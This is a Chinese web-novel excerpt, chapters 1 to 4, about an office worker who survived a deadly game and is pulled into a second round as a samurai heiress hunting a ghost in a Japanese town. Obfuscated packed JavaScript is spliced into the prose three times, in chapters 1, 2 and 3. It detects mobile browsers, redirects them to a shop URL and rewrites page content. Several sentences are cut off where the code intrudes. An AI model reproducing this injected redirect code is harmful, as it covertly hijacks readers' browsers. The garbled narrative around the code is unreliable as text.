《我听见了,来自地狱的更新公告》 1. 第1章 昨晚的酒,还在胃里翻滚。 我靠在马桶边,整个人像被掏空。 头痛、干呕、喉咙里一股铁锈味。 我对着镜子看自己——妆花了,眼神空洞得像死人。 我叫班晨晨,26岁,普通社畜一枚,社交能力一般,工作能力中等,情商堪忧。 我一向以为,自己这副“人畜无害”的模样,可以让我在这个世界里混得安稳。 可惜,人总是高估自己能逃多远。 昨晚的事,我记得断断续续。 领导灌酒,助理打圆场,新同事赵美铭好心送我回家。 我还记得她在玄关那句:“你家挺干净的嘛,就是这个盒子灰有点厚。” 她伸手去擦的时候,我下意识地想拦她。 可手软得抬不起来。 那一瞬间,我虽神志不清,但好像听到了一个极轻的声音,像机关被触发的“咔嗒”。 然后,一切就都乱了。 第二天早晨,我站在公司门口。 更准确地说—— 我站在那栋楼本该所在的地方。 取而代之的,是一片光秃秃的地皮。 水泥、黄沙、几根裸露的电线。 像被人用橡皮擦从现实中抹掉。 我愣了好久。 直到听到身后几声惊呼: “诶?公司呢?” “不会是我走错地方吧?” “昨天还加班到一点啊,这……这什么情况?” 几个同事聚在一起,手里拿着早餐豆浆,神情迷茫。 但在那一片混乱的表情中——我清楚地看到,有人笑了。 不是释然的笑,而是重逢的笑。 那种“噩梦再次开始”的笑。 我后退一步,耳朵里传来熟悉的嗡鸣。 那是我十年前,永远无法忘记的声音。 “叮咚!想我了么?欢迎来到第二轮游戏,我亲爱的老玩家~~~” 甜美、轻快,像是在广播体操开始前的提示音。 可我的胃一瞬间揪紧,心脏像被钩子狠狠扯住。 我几乎是本能地往地上跪去,指尖不受控制地抓住自己的脸。 那是十年前留下的习惯——每当我遇到无法接受的事时,我就这样确认眼前的事情是否是真实发生的。 同事丁黎梓吓得把豆浆都洒了,赶忙上前:“班晨晨?你干嘛——” 我没回答,虽然知道它是什么。 我也知道,它又开始了。 十年前,整所学校在一夜之间消失。 我们被困在那场叫做“生存”的噩梦中。 我记得鲜血、尖叫、记得那一本泛黄的手册,每翻一页,就有人死去。 那时我以为,通关之后我就自由了。 哈哈哈哈哈……可我错了。 原来,那本名为“生存”的手册,十年后,终于又翻开了。 丁黎梓伸手扶我,我这才意识到自己是真的瘫在地上。 我慌里慌张地抓住了他的手,像是溺水的人抓住最后一根浮木。 “看来,我是吃不上男朋友做的晚饭了。” 我低声笑了一下,嗓音发哑。 何彦明做饭确实难吃,咸淡永远掌握不好,连炒个蛋都能糊。 可此时此刻,我却只想回家,坐在他对面,看着那盘糊得发黑的蛋。 哪怕只吃一口也好……我不想在这里……我不想在这里…… “晨晨,你还好吧?” 赵美铭的声音在发抖。她环顾四周,显然是被吓到了。 “天哪,真是不敢相信……咱们公司到底去哪儿了?” 她话音刚落—— 那道声音又来了。 “叮咚——欢迎新玩家赵美铭、丁黎梓、谢文岚……进入第二轮游戏。” 空气像被抽空,街边的风停了,车鸣声停了,连对面便利店的招牌灯也停止了闪烁。 周围的一切,像一张被按下“暂停键”的城市截图。 丁黎梓僵在原地,嘴唇颤抖:“这……是地震?还是——” 是游戏开始了。 我们逃不掉了。 我深吸一口气,逼着自己冷静下来。 就算再怎么接受不了事实也好,我可能就是命背到这种程度吧。 我尽量用平稳的语气,对他们两个简单解释了一下状况。 “我不知道这玩意儿到底是怎么回事,也不知道背后是谁。” “但我确定一点——那个发明它的人,一定是个疯子。” 我顿了顿,笑了笑。 “一个喜欢看人挣扎、慢慢崩溃的疯子。” “各位玩家们,早上好。” 那道声音在空气中回荡。 “我是游戏闯关解说官,0132号。” “各位喜欢玩剧本杀吗?” “这次的闯关主题是《谁是小鬼》。” “难度指数:三颗星。” 周围依旧一片寂静。只有那声音,一字一句,像针一样往脑子里钻。 “游戏开始后,请各位玩家查看自己的身份介绍。” “通过个人,或者组队的力量——找到‘小鬼’,并将其杀死,方可通关。” “目前,各位玩家身处游戏世界负18层。” “每通过一关,可上升一层。” “祝——大家游戏愉快~~” “叮——” 最后那个轻轻的提示音落下时,我几乎能听见自己牙齿在打颤。 赵美铭已经吓得贴在丁黎梓身后,而我,整个人像坠入冰窟。 负18层。 十年前,我是从负十层开始的。 我缓缓抬起头,喃喃道: “这一次,起点更深了。” 一瞬间,世界坍塌成漆黑。 我听见自己呼吸的声音,被放大,像被关进了了一个黑色盒子里。 这是游戏启动前的“准备阶段”。我记得十年前也是这样—— 先是黑,然后……就是坠落。 几秒后,光猛地亮起。 眨眼的功夫,我已经被传送到另一个空间。 空气里有股淡淡的檀香味。 我低头一看—— 身上的职业装不见了,取而代之的是一身浅紫色和服,腰间别着两柄武士刀。 头发被高高束起,镜面反射出一个陌生却又带着我面孔的女人。 “叮咚!请开始阅读身份信息。” 冰冷的系统音打破寂静,虚拟屏幕在我面前缓缓展开。 上面写着我的身份: 【角色名】吴振兰 【身份背景】 出生于香港的富家女,幼年因家族变故,被父母托付给日本的好友。 养父是一名武士,吴振兰自幼修习,精通日本武士刀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976115|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成年后参加一场神秘拍卖会,偶然看见一个装着黑雾的瓶子—— 那瓶中,封印着她的父母。 他们早已不是人,而是被怨念侵蚀、以“信任”为饵的——小鬼。 自此,吴振兰发下誓言: “用我手中之刃,斩尽天下恶鬼。” 屏幕一点点消失。 我端详着镜子里的自己。 妆容精致得近乎完美,眼线锋利,唇色冷淡。 虽然是我的脸,但那不是我熟悉的模样——至少,不是那个每天挤地铁、趴在工位上熬夜改方案的班晨晨。 现在的“我”,像从某个时代的画卷里走出来的女人。 ……真讽刺。 十年前,第一个游戏关卡,我因闯关失败被活生生扒了脸皮; 十年后,还是第一个关卡,系统竟贴心地给我化了个妆。 我摇了摇头,现在可不是感叹这些的时候。 深吸一口气,我推开那扇木制的推拉门。 外面的街道瞬间闯进眼里—— 熙攘、嘈杂,空气里弥漫着油炸物与酱油的味道。 行人来来往往,招牌是我认得出的日文。 哦,对哦。 “我”现在,生活在日本嘛。 好在我那点曾经为了追番自学的日语,此刻竟成了救命的底牌。 至少,我听得懂他们在说什么。 但我没有时间慢慢适应。 现在的首要任务,是找到其他被卷进这场“谁是小鬼”的玩家。 如果游戏还是和十年前一样狡猾—— 那就意味着,从这一刻开始,我既要找到他们,也要提防他们。 毕竟,按照这破游戏的套路,他们之中,一定有人是“小鬼”。 “您在说什么?我听不懂。” 突兀的声音从不远处传来,我立刻抬头望去。 果然……是玩家。 我快步跑过去,看到一个女孩正一脸苦恼地站在一家店门口。 阳光照在她的发梢上,闪着微微的金光。 “需要我帮忙吗?”我伸手拍了拍她的肩。 她猛地回头,眼神中一瞬间闪过警惕。 然后,她看清了我,整个人松了口气。 是赵美铭。 她说她只是想买份早餐,可店员完全听不懂中文和英文。 我帮着翻译了几句,替她买了份茶泡饭。 坐在店门口,她吃得很香。 那神情太平静了,她好像完全没有意识到,这个世界只是游戏的幻象。 “对了,赵姐,你有遇到丁黎梓吗?” 我问。 其实赵美铭比我小一岁,只是同事们都这么叫她,我也就跟着这么叫了。 赵美铭一边胡吃海塞一边摇头,语气轻快得像在度假。 “没有啊,我看完角色信息就出来了。太饿了,就想着先找点吃的。” 她抬头冲我笑了一下,嘴角沾着细小的米粒。 “我的身份是林泉,荷兰的留学生,来日本旅游的。” ……荷兰的留学生? 我在心里默默重复了一遍。 嗯,还是和从前一样。 自爆身份没关系,系统也不会禁止…… 真正关键的,是你要判断对方说的是真话,还是剧本里的谎言。 毕竟,坏人从来不会说自己是坏人。 2. 第2章 这一关的难点在于沟通,毕竟背景设在了日本。 赵美铭不会日语,幸好她被分到了和我同一关。 我环顾四周,巷子里一派平和,没有鬼影出没,人们也显得安详自在,全然不见紧张或恐惧。 “照这样看,说不定鬼只在晚上出现。”我抬头望了望太阳的位置,估摸着应该是下午两点左右。 系统收走了我们的手机,我身上也没有手表。 对,得先买块表。 我和赵美铭的角色条件还算不错,至少家境宽裕,几十万日元可以随意支配。 街上只有怀表卖,不过总算能掌握时间了。 “晨晨,你说丁黎梓他们会不会也和我们同一关?”赵美铭挽着我的手臂问道,那模样真就像平常逛街一样。 “不清楚,希望他们别出事吧。”我说。 “会……会死人的吗?” “当然会。” 她总算露出些紧张的神色。 “具体的等到了我家再说吧。”点到为止就好,说多了反而怕吓到她。 我们熟悉了周边的街道,又向附近居民打听了一些关于“鬼”的传闻,不知不觉就已经快到傍晚五点。 这时候的气氛,和午后时已截然不同。 “快走啊!太阳还有一个小时就下山了,鬼肯定要出来了!”一位摆摊的老奶奶匆忙用布裹好推车上的花瓶,朝旁边还在低头数钱的小男孩喊道。 “我知道……可我想多挣一点,说不准哪天就被鬼杀死了。”小男孩头也没抬。 “嘁,这世道这么不太平,挣再多钱有什么用。”一个歪在墙角的乞丐懒洋洋地插话。 眼下整条街都在急着收摊,小路被人群挤得水泄不通,推搡之间谁也不肯相让。 不过好歹也算收集到了一些线索,我拉起赵美铭,匆匆往“我”家的方向赶去。 赶在太阳完全下山前,我们终于到了家。 “哇,你家好大啊!”赵美铭这儿瞧瞧、那儿摸摸。 “这要真是我家就好了_(:з」∠)_。” 我不由笑了笑。 说实话,我确实喜欢这里——日式庭院,家境优渥。 如果现实中真有这样的条件,我又何必去打那些黑工呢。 其实赵美铭才是真正有钱的那一个。上海本地人,家里好几套房,名牌包、高档表从来不少。 要不是系统收走了她的手表,这会儿她腕上应该会有块浪琴。 “兰小姐,您回来了。” 不知从哪里悄然走出一位侍从。 也是,毕竟“我”在这个世界里是个大户人家。 “这位是?”侍从的目光转向赵美铭。 “是我朋友,‘林泉’。”我报上了赵美铭在游戏中的角色名。 “林小姐,您好。”他礼貌地躬身致意,“对了兰小姐,主人吩咐,请您回来之后去见他。” 他说的是“旦那様”——想来指的应该是“我”在这个副本里的养父。 我沿着回廊走了好一会儿,途中经过院子,看见一个男人正在里面练剑。 我刚想问那是谁—— “兰小姐,主人为您请来这样的陪练,可是花了不少心思呢。” 原来,是我的剑术老师啊。 来到最大的一间房门口时,养父已经跪坐在地上,静静地等着我。 原本打算让赵美铭先在院子里转转,可转念一想——不是说鬼只会在夜里出现吗?思索片刻后,我还是吩咐仆人将她带去别的房间休息。 我走进屋内,也在养父对面跪坐下来。 “小兰,我尊重你的决定。”养父缓缓开口。 “你的父亲是我最好的朋友。你父母生前,将你托付给我照顾。”他说到这里,语气微微一顿,“我也明白,自己的双亲遇害,作为唯一的孩子,你不可能就此作罢。” “所以,当你告诉我你要斩鬼时,我想了很久,最终还是选择尊重你的选择。” 他看着我,眼神变得郑重起来,“你的能力确实不弱,但为了以防万一,我还是替你找了一位陪练。” “谢谢爸爸。”我低声说道。 “木佐先生会负责指导你。”养父站起身来,“以后有什么事,都可以去找他。” 话音落下,他便转身离开了房间,只留下我一人坐在原地。 话说回来,那位木佐先生应该还在院子里练习吧,他就不怕鬼突然出现? 我走了过去,目光警惕地扫了一圈四周,却什么也没有发现。 很安静,没有鬼影,也没有异样的气息。 “木佐先生,夜里很危险。”我开口说道,“不如我们一起回屋吧。” 话音刚落,他停下了动作,缓缓回过头来。 ……这不是我男朋友吗? “何彦明……?”我试探性地唤了一声。 “您好,兰小姐。”他神色平静,不像是认识我,“不必担心我。实际上,就算晚上躲在屋里,鬼若想杀人,一样会进屋。” 话音未落,他已重新举剑。 “早就听说兰小姐的武士刀用得很好。要不要一起练习一下?” 要答应吗? 这么晚了,真的安全吗? 可转念一想,斩鬼本就是夜里的事,若只在白天练习,反倒失了意义。夜晚练刀,或许才更接近真正的实战。 再说…… 他那张脸,实在太像何彦明了。 也许正是因为这份相似,让我在理智尚未做出决定之前,已经点了头。 “直接用真刀吧。”他将手中的木剑放到一旁,语气淡然。 “……好。”我应了一声。 其实,我根本就一窍不通。 这不过是个系统设定罢了。 好在以前上学时,同学教过我一点合气道,只是那点皮毛,放在这里几乎派不上用场。 果不其然,才交手没几下,我便露了破绽。 “看来兰小姐,还需要多加练习。”他语气平静,没有半分嘲讽。 随后,他耐心地纠正我的站姿、出刀的角度与呼吸节奏。夜色中,刀锋一次次划破空气,他的讲解不急不缓。 不知不觉间,他已经教了我好一会儿。 “兰小姐,您似乎心有旁骛。这样是练不好的。” 话音未落,他伸手,轻轻触碰了一下我紧皱的眉心。 换作平时,我一定会下意识避开陌生人的接触。可不知为何,那一刻,我竟没有躲。 也许是他身上那股莫名的熟悉感,让我迟疑了。 “……哦。”我抬手,指尖轻轻按了按他方才碰过的位置,“你长得很像一个人。” 他看着我,目光微顿。 “谁?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976116|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “兰小姐,木佐先生,晚饭已经准备好了,请两位到客厅用餐。” 仆人的声音打断了我未说出口的话。 我只好将话咽了回去,和木佐一同回到屋内。 “哇——”赵美铭看着桌上热气腾腾的饭菜,眼睛一下子亮了起来,“好香啊!” “主人今晚约了别的客人,不会回来了。”仆人一边摆放餐具,一边说道。 “这么晚还要出门,不危险吗?”我随口问了一句。 “有保镖随行。”仆人没有过多解释,“请各位用餐后就休息吧,洗澡水已经准备好了。” 我微微一愣:“不是饭前洗澡吗?” 我记得之前认识的一些日本朋友,习惯都是先洗澡再吃饭。 仆人露出一副理所当然的表情:“您一直说,吃完饭再洗澡,这样洗完就可以直接睡觉。” 哦……原来是“我”的问题。 那好吧。 仔细想想,其实也挺好,倒是更符合我们中国人的习惯。 眼前的盐烤鱼,真的绝了,我几乎没怎么停下筷子。 为什么要吃这么多呢? 大概是因为,下午那个乞丐说过的话,一直在我脑海里挥之不去。 按照十年前的设定—— 如果玩家在关卡中死亡,那就是真的会死。 既然如此,谁也说不准自己还能不能活到明天。 那不如趁现在,多吃几口好吃的。 再怎么样,也不能做个饿死鬼。 “兰小姐,吃饭别这么狼吞虎咽的。”木佐看了我一眼,“细嚼慢咽,对身体好。” 我愣在了原地。 ……真的好像。 我吃饭向来很快。以前和同事一起吃饭时,他们往往还没吃几口,抬起头来,我已经吃完了。最后,总是我坐在一旁等他们。 何彦明也不止一次这样提醒过我。 饭后,我的心情莫名有些沉,便去了浴室。 脱下累赘的和服,我伸手探了探木桶里的水温。 “正好。” 我一向喜欢用偏烫一点的水洗澡。 整个人泡进水里的瞬间,我忍不住舒服地闭上了眼睛,紧绷了一整天的身体终于放松下来。 “兰小姐,请稍微坐起来一点,我帮您洗头发。” 仆人的声音在身后响起,我猛地一惊,心脏几乎漏跳了一拍。 等等—— 这仆人是男的啊!! 他怎么能随便进浴室?! 也不知道是被吓到的,还是水温本就偏高,我只觉得脸一下子烫得不行。 “你怎么能随意进来浴室!出去!” 我下意识地抬手挡住自己,可挡了半天才发现——根本不知道该挡哪里,怎么挡都不对。 “兰小姐,从小就是我为您洗澡、更衣的。”他一脸困惑,语气甚至带着几分不解,“您今天是怎么了?” 他说话时,目光始终规规矩矩地落在一旁,连一瞬都没有停留在我身上,仿佛这一切早已司空见惯。 “我……我……” 我一时语塞。 我毕竟不是真的吴振兰啊,哥!!! ……算了。 我深吸了一口气,在心里狠狠安慰自己—— 老子也谈过不少男朋友了,这算什么,小场面,小场面。 3. 第3章 玄冥的按摩手法,甚至胜过现实生活中理发店的洗头工。怪不得“吴振兰”会容他如此近身。 “你叫什么名字?”我随口问道。 总不好一直“侍从侍从”地叫着。 “玄冥。” 沐浴过后,木佐正在廊下为我磨刀。 我一直隐约觉得有些奇怪。按理说,他既是我养父聘来的人,跟我说话时本该用敬语才是。 “罢了……这一关到目前为止还算不错,没出什么乱子,身份也够用,或许能平安通关吧。” “兰小姐,饭前您想和我说什么来着?”木佐先生将磨好的刀递还给我。 “哦,没什么,”我状似随意地接过刀,“就是觉得你和我男朋友有些相像。” “兰小姐的男朋友……”他并未对“外貌相似”表现出任何讶异,反而顺着话问道,“是个什么样的人呢?” 他竟是对“何彦明”这个人更感兴趣。 “随性,温和……”我斟酌着词句,“啊,还有——他不太会做饭。有一次煎鱼,鱼没完全断气,下锅时猛地一弹,热油溅起来,烫伤了他的手臂。” 我这样描述,其实是在试探眼前的人。 毕竟他们太像了。 可如果真的是他,又为什么不愿与我相认? “原来如此,烫伤一定很疼。”他神色如常,甚至挽起袖子露出左臂,“伤在哪个位置呢?” 我看向他的手臂——光滑干净,没有疤痕。 “大概……是这里。”我指了指手肘内侧。 “这里啊。”他放下袖子,“那恐怕有好一阵子,您男朋友连弯起手肘都会很吃力。” “是啊。”我不禁笑了笑,想起从前,“所以后来,我就不太让他进厨房了。” 正当我们说话间,一股没来由的妖风猛然卷过廊下。我顿时绷紧了神经——我们还待在露天的回廊里。 “木佐先生,时间不早了,先回房休息吧。”我按下心头的不安。 他点了点头,没再多言。 回到房中,我躺在床上辗转难眠。 脑海中反复浮现刚才的对话,真想再去找木佐先生说说话……可夜色已深,终究还是不合时宜。 “草……说到底他不过是个NPC,我何必在意那些礼数不礼数的。”我摇了摇头,觉得自己有些可笑。 刚鼓起勇气准备起身,却猛地瞥见——门口静静映着一道影子。 我浑身一僵,屏住呼吸。 是鬼吗? 谁会在深更半夜一动不动地站在别人房门口?我要不要……喊一嗓子? 我刚一起身,那影子便无声无息地消失了。 “……真邪门。” 要不是想上厕所,这种时候我绝不会想踏出房门。握紧手边的刀,我缓缓推开一条门缝—— 门外空无一人,只有一片寂静。 难道刚才真是我眼花了? 回来之后,困意竟莫名袭来,我不知不觉睡着了。 “不好了!出事了!” 早上,赵美铭猛地撞开我的房门,一把将我拽起来。 “嗯……?”我还半昏半醒。 “刚才我出去转转,看见好多人围在一栋楼前面!过去一看,有人死了!只剩下……半个身子!” “!!” 我瞬间睡意全无,冲到衣柜前,可里面清一色全是和服。 “……这我真不会穿。”无奈之下,我只能唤来玄冥帮忙更衣。 连早饭也顾不上吃,就和赵美铭匆匆赶往现场。 “身上有明显的齿痕……确实是鬼干的。”我强忍着胃里的翻搅,移开视线,“看来那东西不只是杀人……还会吃人。” “死者是什么身份?”我转向一旁面色发白的店员。 “他、他是我们店的老客人了……是村田家的小儿子。”店员声音发颤,“说是看上了我们这儿的一位游女,原本答应要替她赎身……可那天那位姑娘正忙着接待别的客人,他就临时点了别人……后来赎身的事,也就再没提起了。” “那位游女叫什么名字?现在在哪?”我追问道。 “叫理子……她在二楼房间里。” 我转身上楼,推开虚掩的房门——一位女子正低头坐在床沿,身上带着伤,肩头微微颤动。 “理子小姐,冒昧打扰。关于村田先生的事,不知能否向你了解几句?” 她闻言却哭得更厉害了。 “……有什么好问的。” 片刻后,她侧过脸,“不过是个负心之人罢了。若不打算花钱点我,就请别在这里浪费我的时间。” 话说得毫不客气,语气里却像缠着许多未诉尽的苦。 “如果你愿意把知道的事都告诉我,”我轻轻掂了掂手中的钱袋,“我可以为你赎身。” 她猛地抬起头,眼中闪过一丝惊疑。 “您……您是村田先生的妻子?” “我不是。”我平静地回答,顺势抓住她话中的线索,“你刚才说他‘有妻子’——村田先生已经成婚了?” 理子轻轻打开梳妆柜的抽屉,取出了几件首饰。 “村田一直是我的常客。每次来,都会送我些小礼物……虽不算贵重,但日子久了,我们之间便生了情愫。他说要为我赎身,我信了。” 她指尖抚过一枚鸽子血般的红宝石。 “直到有一天,他告诉我,他的妻子反对他花大价钱赎我……我那时心都凉了。后来即便他再来点我,我也带着怨气。再后来……我发现自己有了身孕。” 她停顿了很久。 “我告诉了他。可他却转头点了别的女人,再也没来看我。孩子……被遣手用药打掉了。”她的手指微微发抖,“从那以后,我是真的恨他。” 听起来似乎和鬼并无直接关联,我不由有些失望。 “直到前些天夜里,来了位模样古怪的客人。”理子忽然抬起眼,“他像是看穿了我的心事,说可以替我‘教训’村田。结果第二天,村田就死了。” 嗯?终于触及关键了。 “那个客人长什么样?”我急忙追问。 “不知道,他戴着面具。” “其他特征呢?任何细节都好。” 她沉思片刻,“他挽起袖子喝酒时……我瞥见他手臂上有一道疤。” 我依约为她赎了身。 但她却说无处可去,恳请我能收留她。 我想了想,宅子确实宽敞,手头也宽裕,便点头答应了。 出店门时,外面下起了雨,虽然有太阳,但雨并不小,我只好在店里买了把伞。 给理子买了几身新的换洗衣服后,我便带着她回了家。 “玄冥,木佐先生在家吗?” 我随口问道,想着顺便告诉他,家里多了个新成员。 “没有。”玄冥回答得很干脆,“木佐先生从早上开始就不在,留了张信纸说自己白天有事出去。” 我微微一愣。 “他去哪儿了?晚上之前应该能回来吧。” 话一出口,我才意识到自己语气里带了点不必要的担心,“外面毕竟危险,虽然他剑术很好……鬼会吃人的,他不会出事吧。” 话说到这里,我自己都无语住了。 ……靠,我在想什么? 要真遇到鬼,最容易死的,明明是我和赵美铭好吗! 木佐再怎么说也不是我男朋友,我在这儿瞎担心什么,浪费感情! 我立刻在心里给自己泼了盆冷水,强行把那些多余的念头压了下去。 就这样,理子顺理成章地留在了宅中。念及她身上带伤,我便吩咐她先静养两周,暂不安排杂事。 我亲手为她煎了药,端到榻边。 褐色的药汁在碗中微微晃动,热气裹着苦意漫开。她默默接过,垂着眼一口一口喝尽,始终没有抬头。 药汤的苦味在房间里缓缓散开。理子将空碗递还给我时,指尖不经意碰到了我的手腕,很凉。 “谢谢您……兰小姐。”她终于抬起头看我,眼底有一种我看不懂的复杂神色,“除了村田,您是第一个对我这么好的人。” 我没有接话,只是接过碗放在一旁。窗外暮色渐浓,纸门上映着庭园里松枝摇曳的疏影。 “那晚的客人,”我突然开口,“他说话的声音,是怎样的?” 理子沉默了片刻,什么也没有说。 —— 两天后的傍晚,玄冥在为我整理发髻时,无意地提了一句:“理子姑娘恢复得很快,今早已经在院子里走动了。” 铜镜里映出我半张脸。“她去了哪里?” “只是在回廊附近……不过,”他的手指在我的发间停顿了一瞬,“她好像对东边那间废弃的茶室很感兴趣,在门口站了很久。” 东边的茶室——那是宅子里唯一一处被养父明令禁止进入的地方。 夜幕降临时,我又看见了那个影子。 这次不是在房门外,而是在庭院对面的廊下。瘦长的影子被月光拉得很长,一动不动地立在那里,面对着我的方向。 我迅速吹熄了灯,躲在窗格的阴影后观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“睡觉吧。”他指了指唯一的床铺,自己则抱刀靠在门边,“天亮之前,不要离开这个房间。” 夜越来越深。没有灯,只有月光从窗格渗进来,在地上切割出明暗交错的格子。 不知过了多久,我开始感到困倦。迷迷糊糊中,听见他轻声说:“以前也是这样。” 我强撑起眼皮:“什么?” “没什么。” 话音刚落,门外突然传来急促的脚步声。 “兰小姐!木佐先生!”是玄冥的声音,“理子姑娘她——她去了茶室!” 木佐瞬间拉开门。玄冥脸色苍白地站在廊下,手中提着的灯笼在风中剧烈摇晃。 “什么时候去的?” “就在刚才!我起夜时看见她像梦游一样往东边走,叫也不应。” 木佐已经冲了出去。我紧随其后,赤脚踩在冰冷的石径上也感觉不到疼。 茶室的门大开着。 里面没有点灯,只有月光从破败的屋顶漏进来,照在一个人身上。 理子背对着我们跪坐在榻榻米上,长发披散。她面前的地板上,用暗红色的液体画着一个诡异的图案——像一只睁大的眼睛。 “理子?”我试探着叫了一声。 她缓缓转过头。 月光照在她脸上,我看见了令我血液凝固的一幕—— 她的眼睛,变成了两个空洞的漆黑。 理子正低着头,专注地啃食着一块暗红色的生肉。 “理子就是鬼?!”赵美铭的声音从我身后传来,带着压抑不住的颤抖。 就在这一瞬间,我猛然明白了养父禁止任何人进入茶室的真正用意。 他并非想困住鬼,而是在这里为它准备了“祭品”,用鲜血与生肉将它暂时束缚在这孤立的空间,以免祸及宅院的其他角落。 可鬼……不是只吃人肉吗?难道说眼前这块—— “退后!”木佐厉喝一声,刀已完全出鞘。 “新鲜的……比供奉的更好吃……” 她直接越过了站在最前面的木佐,向我和赵美铭奔来。 刀刃的寒光在木佐手中一闪而过。 理子的话音戛然而止。 她的头颅从脖颈上分离,悄无声息地滚落在榻榻米上。 无头的躯体在原地僵立了片刻,才缓缓向前倾倒。 “这……这么简单?”赵美铭的声音打破了死寂,带着难以置信的雀跃,“鬼就这样死了?那我们是不是……通关了?” 可我的耳边一片寂静。 没有系统的提示音,什么都没有。只有夜风吹过破败茶室的呜咽,和那具无头尸体渐渐化作黑烟消散的细微嘶响。 说明理子只是NPC鬼,杀死NPC鬼不算通关,只有杀死玩家鬼才作数。 那岂不是说……我们必须要杀人才能结束? 4. 第4章 我迅速取出瓷瓶,将那一小团蜷缩的黑雾收了进去。 透过瓶壁细看,那雾气竟还隐约浮动着理子生前的轮廓。 仔细想想……她确实从未在阳光下行走过。 那天她也不过在店里的一个没有打开窗帘的房间里。接她回家的时候,我也特意为她撑了伞。 赵美铭不同,她是真真切切与我一同在集市上逛过、晒过太阳的。 至于玄冥和木佐——我记得玄冥提过,木佐曾在白天外出过。那么剩下的、从未被证实见过日光的人…… 只有玄冥。 我得先确认他究竟是不是NPC,若他是NPC,我就是杀了他也没什么用。 “玄冥人在哪儿?”我问。 身旁的侍女低声回话,说他从昨夜起就发高烧,现在还在房中休息。 我只得暂且按捺——若他明日好转,便带他到日头下走一遭,真相自会分明。 第二天,朝阳初升,我便去叩他的房门。 玄冥躺在被褥间,脸色苍白如纸。 “还没退烧吗?”我倒了点水给他。 他从被中缓缓伸出手。 指尖相触的刹那,一阵异常的冰凉蹿上我的皮肤。 ……和理子的手一样凉,明明天气很热。 难道他真是鬼?眼前的病容,只是伪装? 我再度抬手,想确认他额头的温度,他却微微偏头,避开了我的触碰。 ——他在躲我。 我静静注视着他,目光里没有半分让步。 他眼神飘向别处,声音低了下去:“兰小姐,从来都是侍从伺候主人……没有让主人亲手照顾侍从的道理。这不合规矩。” 规矩?只是探一下额温,与规矩何干? 我没再逼问,只暗中留意,人总是要上厕所的。 果然,他起身时,刻意绕开了所有洒满阳光的回廊,只挑屋檐投下的阴影处匆匆前行。 我的心一路沉下去。 这些刻意的躲避,已不能用巧合解释。 不安催使我找到赵美铭,要她今夜起搬来与我同住。 她却噗嗤一笑:“玄冥那么好看,怎么可能是鬼嘛。” “咱是找鬼,不是选美!”我简直一个大无语住,“赵姐,你是不是太久没见过帅哥了?” “哪有好久,”她眨眨眼,挽住我的手臂,“咱们组的丁黎梓,不就挺帅的嘛。” “一般吧。”我兴趣缺缺地摇头。 丁黎梓是秀气,可毕竟大了我六七岁——老男人都阴险狡猾,不在我的雷达范围内。 赵美铭听劝,最终还是抱着被褥过来了。 她一边铺床一边笑呵呵地讲起大学时在国外的趣事,语气轻快得像是在参加睡衣派对。 我不知道她是真的心这么大,还是对通关有着毫无道理的乐观。烛光映在她带笑的侧脸上,我却只觉得这份天真不合时宜。 夜风穿过回廊,发出细长的呜咽。我悄悄将短刀塞到了枕下。 而这次,我听到了翻墙的声音。 我睡眠浅,异响一起便骤然惊醒。 我摸出枕下的短刀冲出门外,果然不穿和服利落得多。 玄冥,看我不拆穿你…… 那黑影竟逃到了院子里。 “跑的还挺快!”我喃喃。倒也没事,我体能也不是吃素的。 骤然发力拉近距离,扬手将短刀掷出—— “啊!!!”那黑影惨叫一声。 !!? 不是玄冥的声音。 黑影踉跄倒地,在月光下痛苦蜷缩——那身形,看起来要比玄冥宽一些。 我强压着心悸,朝黑影厉声喝道:“是谁?!” 那人影颤了一下,缓缓回过头来。月光照亮了一张熟悉的、因疼痛而扭曲的脸。 “丁黎梓?”我愕然,“你怎么会在这个副本里?不对……你怎么会在‘我家’院子里?!” “我…我遇鬼了,”他声音发颤,冷汗涔涔,“本想躲去旅馆,可那鬼……像能嗅到我在哪儿。我只能逃……逃到这里。”他喘了口气,“好在我平时有跑步,这院子大,我翻进来,本想找个角落躲到天亮……” 他忽地抬头:“没想到晨晨你也在这儿。赵姐呢?你有遇到她吗?” “嗯,在屋里。”我蹲下身,握住没入他肩头的短刀柄,“忍着点。” 刀锋抽出时他浑身一颤,闷哼压进喉咙。 我将他的手臂绕过肩头,撑着他往屋里走。 血腥味混着夜风黏在鼻尖,而他的脚步越来越沉。 “嘶——你可真够狠的。”他按着肩头。 我没接话,只淡淡瞥了一眼。愧疚?在这种地方,那是最无用的情绪。 “大半夜翻进别人家里,没当场刀了你已经算我善良了。” “……你真谨慎。”他扯了扯嘴角,皮笑肉不笑的样子。 “不谨慎的早死了。”我转身推门,“我说过,这不是我第一次被卷进这个游戏里。” 屋里灯光亮起时,赵美铭扑了过来。 “梨子!你怎么样?!”她扶住他另一边手臂,指尖都在发颤。 “没事的赵姐,小伤而已。”他声音放轻,甚至勉强笑了笑。 我冷眼看着。 方才那声惨叫还堵在我耳膜里,现在倒能装得云淡风轻。这变脸的功夫,倒是比他的跑步速度牛逼地多。 